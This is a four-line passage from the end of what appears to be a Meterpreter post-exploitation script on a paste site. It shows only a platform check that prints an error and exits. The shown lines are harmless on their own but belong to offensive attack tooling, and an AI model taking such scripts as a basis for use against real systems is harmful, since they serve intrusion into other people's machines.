  1059.     print_error("This version of Meterpreter is not supported with this Script!")
  1060.     print_status("Detected platform #{client.platform}")
  1061.     raise Rex::Script::Completed
  1062. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement